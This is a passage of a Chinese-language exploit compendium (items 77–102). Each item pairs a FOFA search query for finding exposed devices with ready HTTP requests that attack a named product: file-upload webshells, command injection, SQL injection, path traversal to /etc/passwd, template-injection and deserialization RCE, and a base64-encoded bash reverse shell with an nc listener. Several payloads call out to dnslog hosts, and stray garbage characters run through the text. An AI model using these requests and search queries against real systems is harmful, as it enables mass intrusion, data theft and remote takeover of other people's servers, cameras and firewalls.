% R; |: X+ }- l# @, D" T0 S


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
: X: f, n' h$ H" h+ T5 x6 R+ TPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
$ P: D. k& i) V; f2 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
" F) ]- b4 q0 h# g* Y3 EContent-Length: 433
8 \  h3 i) Y( y7 H  J& ^Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

1 e7 k% n" Y3 d2 \------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
3 `% l- M& e* y0 s* B" b5 X0 `------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
* B8 Z* }1 T5 ?9 RContent-Type: application/octet-stream
8 H4 E1 N) Q) {+ V- [
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
; U" N) N5 f- k: g% t) z% FContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
- a" A! ?5 N# [0 q: m( uPOST /Platform/System/FileUpload.ashx HTTP/1.1
7 O' u* J# h% sHost: x.x.x.x
# V( e2 t( D9 B7 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# Y# r5 V9 T. R3 Z2 g7 @Content-Length: 336
Accept-Encoding: gzip
- Q  {# e% {, k4 ]! ~. ~3 wContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ |+ D; [. i/ H, e2 @( r1 F
: r/ Y8 ]8 P* o------YsOxWxSvj1KyZow1PTsh98fdu6l
0 q& p1 J! H& B1 NContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
1 P. i, y2 ]) z6 @/ T+ F
3 e" l' R3 }2 c1 n, ]! }YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

; S, m" b8 V( _. f# D6 m& ~/Applications/SkillDevelopAndEHS/
6 s5 f  Z% b$ v------YsOxWxSvj1KyZow1PTsh98fdu6l--
" \5 j, S+ _+ C- `7 X5 E6 _5 R

3 G/ ]. R6 X; W. p! m6 ^GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
, I% f/ ^  p7 `) x1 HHost: x.x.x.x
& Z* g2 f" @7 ~% E; I" L
9 M8 Z% u5 F2 q3 X
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
+ R8 ~0 f, @4 u! ?. g( ^GET /goform/webRead/open/?path=|id HTTP/1.1
; D0 F, }: G4 P, ]2 O% N% B+ ~Host:IP
8 f5 v9 T' ^+ Y. ]+ Z- V" cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; z0 R% Q$ ?7 f3 f* f# t; {5 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, Z! ^* A! M! A& }: J% TAccept-Encoding: gzip, deflate
Connection: close
% G: c1 n( ?. S7 ]Upgrade-Insecure-Requests: 1

; B$ R  `, V' G  |- i
" y- \2 ]9 h+ m, n7 ?1 t1 t80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 V5 h8 A5 Z- e, D* ~! PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
/ D9 o3 C1 c# f/ M7 g; ^( RUpgrade-Insecure-Requests: 1
; B, ?% k6 b/ R. O8 }% q7 ~7 Q
<% out.print("oessqeonylzaf");%>
0 x+ P, n; ?2 q0 I/ g

GET /xykqmfxpoas.jsp HTTP/1.1
( B, B4 A! y  @, F0 V# m; V8 rHost: x.x.x.x
+ S  P" v- {$ H! i8 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 _. H# e" F# n/ RAccept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
9 S. Z. X* b/ gGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: `7 j0 l- ?' kConnection: close
8 r* H/ k+ Z' L5 a9 [0 tAccept-Encoding: gzip


* O7 G- S$ l' x82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
7 r! T3 K0 i3 hFOFA：app="思福迪-LOGBASE"
! {# W/ u* ~6 g7 |" wPOST /bhost/test_qrcode_b HTTP/1.1
8 I1 S" Q# i0 ]1 P; [/ M: k9 s5 mHost: BaseURL
; X# w# W- |# d7 n! c" k- O% _User-Agent: Go-http-client/1.1
0 m" o2 L8 b/ t  n, |Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
/ ]9 N+ u* X  cReferer: BaseURL
% g& E6 `1 S: w' a6 o
) _% U, d4 {- m5 D& n/ ~! Iz1=1&z2="|id;"&z3=bhost
. {9 s) I6 _, D* x! h' x
' R& L6 t( q5 L% F/ r+ z$ {- `' o
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

  {. c5 L6 t* @+ D# Q, U, a
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ D( f" w+ [3 w% HConnection: close
Content-Length: 8881
Accept-Encoding: gzip
; `  q0 j, _! h& O/ I  {% t& g6 PCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
; F' T: s; [9 RContent-Type: application/json
" t: N8 f0 J. k; x
! n7 {) h6 j6 L- s" Q7 H, S. ]PAYLOAD
, w. U# s! u+ h' U/ s
' u& G  X  X& A$ {/ B84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
% C0 m# y/ ]: B; Q9 i


9 U& ]: d( g/ ~1 |POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
  J; w) p  `0 p4 x% p! `9 F, GHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
' S( a9 B' _: S% \2 [2 h  t: @Accept: */*
Connection: close
( b0 X  c9 S! v" Y' ]/ yContent-Type: application/json
Accept-Encoding: gzip

{
5 k; `' K# ?1 O/ b "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
) v7 l1 T- a/ ?" A$ c  "type": "0"
' @. k( x0 ~9 D' k9 `  Q2 e}
, c, Q8 M8 z5 k7 ]' R( M
1 [1 r5 T+ c1 Y% V4 G! ?7 d, |& T
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
* o; w( M, [: x" Z' p( ?2 h# FEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
. h. N2 p( a. E' D) t* MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
8 M. y- }1 D- F- FAccept-Encoding: gzip
- ?# i0 k4 T$ f0 S8 A, V3 I
PAYLOAD

# z" \' B6 a) a) m5 U回显URL：http://x.x.x.x/userfiles/index.jsp
* T/ ^( E; U4 T1 R$ i' B
! i% C% |! @! D- A' Z/ ?8 v2 V86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
8 r0 f2 J7 t% R* q# _POST /cgi-bin/network_test.php HTTP/1.1
  I. h! J, b, wHost: x.x.x.x
4 j2 _: |! Y' \7 W/ l! lUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
4 d# i* _; [& f  t: E' }. t5 ZConnection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
$ a3 w) F( R9 G: I
host=%0acat${IFS}/etc/passwd%0a&command=ping
! T* }; T3 `! c' ~

87. 安恒明御安全网关aaa_local_web_preview文件上传
! }# k$ g' }4 P% ^! z# eFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
* ~5 z! x' R2 A. U8 E0 o/ aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
9 h" h* Y# p' u' QContent-Length: 198
Accept-Encoding: gzip
: I8 m, `0 V6 Z1 L' oContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
# g) X  ~+ F: I1 h( s8 N8 pContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

& u4 f" ^& Q5 s1 f# t2ZqGNnsjzzU2GBBPyd8AIA7QlDq
1 R4 [4 t8 g, r% R9 v--qqobiandqgawlxodfiisporjwravxtvd--
, O+ L1 x. g2 b; s+ N" \8 I$ L
* \# D( f; q' B( [9 @# K' I
/jfhatuwe.php
5 k, ~% B4 R, T. H( V; w! [
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
, n5 k, _6 N: k' [FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, ]3 T" K& n5 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: i% s6 }$ H& _& h' lAccept-Encoding: gzip, deflate
5 I  V7 ~# G, ]( |) L3 T9 t- L, TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ C% S) N- Y, X% r* B# b" QConnection: close
& L. U# H0 m+ J! i3 R5 M. \- g
: Y- f& b$ I4 _, m5 q* Q: R0 S
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
7 L( u8 Z! X5 c3 v3 HFOFA：title="FE协作办公平台" || body="li_plugins_download"
4 k' K. K# n" T1 r$ \5 ]$ z- x6 nPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
5 C! R* J+ [/ Q! o/ h3 [5 {2 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' Q8 H5 \2 |0 G5 `Connection: close
Content-Length: 41
/ T6 K+ P2 a! C0 ?( vContent-Type: application/x-www-form-urlencoded
% g$ A8 x) V2 l, o& n! r9 j$ j0 kAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
5 C: X' l. j4 K
! f+ o5 i) n+ b
/ C$ f7 b* f0 D* t9 b3 j90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
3 I" b  J7 }$ b9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 a3 x: A6 u3 {) h  A+ LContent-Length: 51
! K7 d" E+ I% x+ RAccept: application/json, text/javascript, */*; q=0.01
0 a% R, \; i  v$ IAccept-Encoding: gzip, deflate
& e, s' i: I1 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( `% r/ x$ s/ Q3 nConnection: close
Content-Type: application/x-www-form-urlencoded
* {/ V& q: n/ \6 `" UX-Requested-With: XMLHttpRequest

4 ?2 P& q5 Q# w; O; Q# H7 J, Fjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
/ c$ R" W' F. P  U

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
/ H! o. h0 n% K" o$ JFOFA：title="综合安防管理平台"
7 _2 I) G: |5 V0 R. L8 Z- KGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
9 K+ i; P0 Y/ F% r: o, _$ THost: your-ip
1 n' X0 o9 g1 c) w+ t# NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
# S$ z- Y( H1 R5 D* ZAccept: */*
Connection: keep-alive

  A* K- }3 w# B/ S' e
# Y$ x( }$ X& F" |1 E( P
92. 海康威视运行管理中心session命令执行
) A; H! U$ w$ S9 |9 S0 JFastjson命令执行
' ?/ _* }& o/ j$ L, ahunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
6 G3 J* \/ X/ d8 g- @/ d2 KPOST /center/api/session HTTP/1.1
Host:
) z1 {& _. A$ v: LAccept: application/json, text/plain, */*
) [7 I% |$ _, q- s' @Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
+ u# T: X: D- W  x$ `5 CX-Language-Type: zh_CN
Testcmd: echo test
; r8 v& j7 L) T2 z8 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
. O/ a0 d8 S/ N- M' O4 nAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

8 s4 l  w6 F: YPAYLOAD

; {8 z1 X0 I4 g' c( ~6 F
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
2 z# D% q* n0 M" JFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. J, e$ Z- \7 l) A# c7 A; o0 iPOST /?g=app_av_import_save HTTP/1.1
9 z% m8 I3 W6 c0 J. x3 E! |  XHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
& R8 A4 [% \. a/ q+ r' K, w' qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 Y  D4 g7 ?1 D2 ?8 A! D' T* C
------WebKitFormBoundarykcbkgdfx
. [4 \2 |0 W( w! G. `Content-Disposition: form-data; name="MAX_FILE_SIZE"

# t3 ^+ p! ]. K8 p9 z2 t10000000
$ m0 i! {6 M( P------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
3 G( Q6 A* m4 M% R/ ZContent-Type: text/plain
- u) k2 M/ M7 q) d" q/ p: N
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
  Q& }3 \! z5 \: V+ tContent-Disposition: form-data; name="submit_post"
! j, O# V! k: z' z- {
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

+ v; h9 j( r' s/ y: W0b9d6b1ab7479ab69d9f71b05e0e9445
4 ?6 p3 h9 H/ u2 b, q) X------WebKitFormBoundarykcbkgdfx--


8 m' D' Q/ K4 A  }8 a& J6 k1 |GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% M5 S+ r- w# q; f! C) \

  `& x  T) ~' [7 K' \, w: ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
8 f* _, y- x+ U3 BPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
4 K1 p- @1 i- \, H1 {& `& v6 M* {Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
6 z4 K  O* D8 c4 i) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 w1 d# s! O2 h, @0 G
------WebKitFormBoundarybqvzqvmt
% p7 g) r$ W$ o, v. I9 s1 q8 mContent-Disposition: form-data; name="MAX_FILE_SIZE"
; o3 {$ d) }2 ]/ `
5 v) |& K5 ?2 G& m, @# g10000000
9 s- s  l7 x9 h/ G0 l# s( Y* Z6 _------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
3 A' Y5 Z9 A: e% L% G0 zContent-Type: text/plain
! z* O+ g& h$ k- P
! }( X4 a; a# Rpxplitttsrjnyoafavcajwkvhxindhmu
( r1 ?7 y  ^  p3 k% V* F  t: P------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
+ p: Z9 x9 J7 k, c2 }- n
obj_app_upfile
3 q, J" j2 Q( F------WebKitFormBoundarybqvzqvmt
' @" {0 B- B4 z3 gContent-Disposition: form-data; name="__hash__"
( n+ Y9 o7 A, r* p$ H) g, x1 R
0b9d6b1ab7479ab69d9f71b05e0e9445
1 S5 V9 Y# G2 v------WebKitFormBoundarybqvzqvmt--
" m0 _: a) f' _. w

: v7 `; v( t- j) P5 k
5 C1 N+ f: ]: W4 [' t. iGET /attachements/xlskxknxa.txt HTTP/1.1
" Q6 S: l, r( K+ H7 V8 ~Host: xx.xx.xx.xx
2 T1 s; V6 p9 y2 @0 Y) x6 ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 Q: c( w6 B6 V* G1 G( f* I  ^; Y


3 g! q2 ?, `! \4 |5 g& Y+ u95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
! Y: N& s- u) fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
. l. `& R) X: dContent-Type: application/xml
& O1 g0 Q5 f, c: M4 `# GAccept-Encoding: gzip
, }0 Q$ B+ u6 l& J% |
' B: L' n: _+ F<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
( _5 b+ V. O# ^. \1 ~- }0 [8 r2 V. T    <params>
      <param>
      <value>
  a2 H; @$ c/ B1 N        <struct>
       <member>
          <name>test</name>
  s/ n6 K: u% I7 `0 o0 u& A, e          <value>
+ B. N, V: Z4 p      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
- ]% i$ E4 ?4 a4 F+ C          </value>
        </member>
      </struct>
      </value>
6 L: i) ^& x0 C( T    </param>
    </params>
</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

/ E; B* ?9 [! v0 f; \3 X& c, r0 m: d8 N
; m$ X7 y0 q. z* a4 _3 g0 ?/ @, M) K将生成的payload替换到上面的POC
0 e0 l4 e' t; u+ F9 c7 kPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
5 T# y1 A8 N0 j& E' w3 i# @7 THost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 h1 D' U% R5 _- ]+ PConnection: close
Content-Length: 889
: B) X9 w6 q6 C/ e: ~  M4 aContent-Type: application/xml
- n8 G* u) T, T/ K; t7 _Accept-Encoding: gzip

2 g, z7 O3 _/ p: j" H) _9 HPAYLOAD
4 n1 P! p" e( j/ Q: d3 \$ t$ {, ]
. r( i7 J8 K$ y5 ~( `96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
: N% @! d3 z( V) L; OPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
3 b% ^; z( B0 g! p7 ?) JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ E/ x6 V% l: m/ L5 sAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 h5 i6 I/ @6 D2 M3 |Content-Type: application/x-www-form-urlencoded
9 w$ ~0 q1 T$ e& ]: w% ]Content-Length: 55

" l# j  {$ {& \  `3 {& CgroovyProgram=throw+new+Exception('id'.execute().text);
# M: c! A' h0 o* ^
9 z( `' A1 |( i; y: _$ ?8 l! ?( k
3 a- i2 f# Z' K( H6 }4 K5 E0 @反弹shell
1 g* \% f2 B6 B' C在kali上启动一个监听
nc -lvp 7777
3 R- X7 a* S) m. G5 C/ v8 e
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
6 F3 T5 T) D1 {) l5 D' F4 m. M1 OHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' L4 D' q' A* C+ tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
# R/ }: q) U9 f$ K0 S1 z
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. g& B* Y2 N. B3 B1 _FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
( b1 U) O# Y& a9 D: dHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: W- Y! x0 a. g- ?Accept-Encoding: gzip
Connection: close
0 X5 f* M' @0 u8 yCookie: rememberMe=PAYLOAD
; N" g0 ^' X. l9 Q- ^) uX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

/ ~, U- [; l( c# d# |9 V$ A  I8 |
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
5 `# n. ~6 n# rFOFA：app="SpiderFlow"
2 ], I& p/ T+ }# DPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
' n) M& D" W9 n& X  q" _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% R" b; J: Y8 C  `8 vConnection: close
Content-Length: 121
Accept: */*
* I& g2 g% w" sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! W7 X* U- K/ N' a: ?Content-Type: application/x-www-form-urlencoded; charset=UTF-8
( M* ]  W' G4 ~* s0 gX-Requested-With: XMLHttpRequest

2 v2 Q1 R# B; v4 J6 I/ mid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
+ O& M* z6 i. q
) d+ r  q/ V3 i9 r1 h
; T0 I2 \9 @% N- h99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
+ z# K. ^+ v5 Z% ~9 LHost: 192.168.40.130:8080
3 V* ?+ S* o; ]4 R7 G6 _) o; oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
% E# z; X8 I: Z! f0 LContent-Length: 154
Accept: */*
  n& f4 R; X  p( hAccept-Encoding: gzip, deflate
. i+ \! i% |' K+ S/ Q  T7 x& kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# C; n. k- c: S0 t. ?- GX-Requested-With: XMLHttpRequest

; }+ U& n2 v5 {7 E6 ^%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
+ G8 l7 n( E: M: }$ h

' h2 L6 ~) d: u' q' t100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
% X9 W" E/ o4 k# f3 m4 @CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
8 ^' \" I2 [' x3 Z$ ^Host: 192.168.40.130
# C- \7 D' B" e9 x6 H/ B, {% UUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: A6 S2 _4 j, f7 a" UConnection: close
, W/ C7 i8 G6 hContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
) |( B9 s! r1 O5 [& v* AAccept-Encoding: gzip
. J( P1 A8 h2 z4 g5 `$ i* _2 @' o
) [2 o4 E6 \' w  ^------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
* a7 s$ L9 |/ }# g1 ZContent-Type: application/x-php
7 o) q) V2 V8 u
2 Z! x. H4 [0 @2ayyhRXiAsKXL8olvF5s4qqyI2O
! F1 T1 M# d" Z" S6 j/ }------WebKitFormBoundarygcflwtei--


9 I% T5 [; G7 f2 ~$ z$ H101. ivanti policy secure-22.6命令注入
CVE-2024-21887
4 F, Q3 N% e2 K; qFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
% u, ^2 U* S' ?6 J1 d7 w( VAccept-Encoding: gzip
2 h) q. e+ p5 f
) P5 b7 H& h( o! ]
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
( i2 {9 |! @6 oCVE-2024-21893
- Y2 J3 I# |1 M$ w. V5 eFOFA：body="welcome.cgi?p=logo"
8 k8 a8 `/ D* \! w( m- y/ n9 QPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
3 S+ W+ j' }9 u; M' q& L! B: qContent-Length: 792
Accept-Encoding: gzip

